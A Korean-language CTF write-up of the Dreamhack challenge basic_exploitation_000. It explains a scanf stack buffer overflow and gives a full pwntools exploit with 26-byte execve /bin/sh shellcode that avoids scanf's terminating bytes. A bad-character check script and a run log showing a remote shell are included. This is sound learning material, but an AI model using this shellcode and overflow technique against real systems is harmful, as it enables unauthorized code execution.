Post

Wargame - basic_exploitation_000

basic_exploitation_000

문제 상황 분석

문제 상황을 분석해보자.

1
2
3
4
5
6
7
8
9
10
11
12
...
int main(int argc, char *argv[]) {

    char buf[0x80];

    initialize();

    printf("buf = (%p)\n", buf);
    scanf("%141s", buf);

    return 0;
}

지역변수 buf의 크기가 0x80 바이트로 제한되어있으나, scanf()함수를 사용하여 최대 141바이트를 읽는다. 이는 buf의 크기를 뛰어 넘으므로 Buffer Overflow 취약점이 발생한다.

main함수의 지역변수는 128바이트 크기의 buf 하나 뿐이므로 Stack Frame은 다음과 같다.

1
2
3
4
5
6
7
+-------------------+ # Low
|        buf        | <- 0x80 byte
+-------------------+
|        SFP        | <- 4 byte
+-------------------+
|        RET        | <- 4 byte
+-------------------+ # High

따라서, scanf()에 첫 132바이트에 셸코드를 삽입하고, 이후 4바이트(RET)에는 셸코드의 시작 주소를 삽입하면 BOF로 인해 셸코드가 실행될 것이다.

페이로드 작성

페이로드를 작성해 보자.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
from pwn import *

context.arch = "i386"
context.bits = 32
context.endian = "little"

p = process("./basic_exploitation_000")
p = remote("host3.dreamhack.games", 8955)

#shellcode = asm(shellcraft.sh()).ljust(0x80, b'\x90')
shellcode = b"\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x31\xc9\x31\xd2\xb0\x08\x40\x40\x40\xcd\x80"
shellcode = shellcode.ljust(0x80, b'\x90')

shellcode += b'BBBB'

addr = p.recvline().decode().split()[2].strip('()')
print(f"Given Buffer Address: {addr}")

addr = p32(int(addr, 16))

shellcode += addr
print("Total shell code bytes : ", len(shellcode))


p.sendline(shellcode)

p.interactive()

디버깅 흔적이 남아있는 페이로드 코드다. scanf()를 대상으로 pwntools의 shellcraft.sh()의 셸코드를 사용하면 정상적으로 동작하지 않는다.

shellcraft.sh()의 코드에는 scanf()가 종단 문자로 취급하는 whitespace 바이트 코드가 중간에 포함되어 있기 때문이다. 가볍게 확인해보자.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
#! /usr/bin/python
#Name : test.py
from pwn import *

context.arch = "i386"
context.bits = 32
context.endian = "little"

shellcode = asm(shellcraft.sh())

scanf_end = [b'\x00', b'\x09', b'\x0a', b'\x0b', b'\x0c', b'\x0d', b'\x20']

found_chars = [x for x in scanf_end if x in shellcode]

print(found_chars)
1
2
$ python test.py
[b'\x0b']

shellcraft.sh() 셸코드에 종단문자가 포함되어있는지 확인하는 코드다. 결과를 보면, 종단문자가 포함되어있음을 알 수 있다. 따라서, 별도의 인코딩 과정 없이 이 셸코드를 사용하기는 어려워보인다. 인코딩 방법은 더 공부해야겠다.

shellcraft.sh() 셸코드를 사용하지 않고, scanf()우회 셸코드를 사용했다. \x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x31\xc9\x31\xd2\xb0\x08\x40\x40\x40\xcd\x80 26바이트 셸코드다.

이제 페이로드를 실행시켜보자.

1
2
3
4
5
6
7
8
9
10
11
12
$ python exp.py
[+] Starting local process './basic_exploitation_000': pid 374
[+] Opening connection to host3.dreamhack.games on port 8955: Done
Given Buffer Address: 0xfff34448
Total shell code bytes :  136
[*] Switching to interactive mode
$ ls
basic_exploitation_000
flag
run.sh
$ id
uid=1000(basic_exploitation_000) gid=1000(basic_exploitation_000) groups=1000(basic_exploitation_000)

셸을 획득 했으므로 flag를 읽어올 수 있다.

This post is licensed under CC BY 4.0 by the author.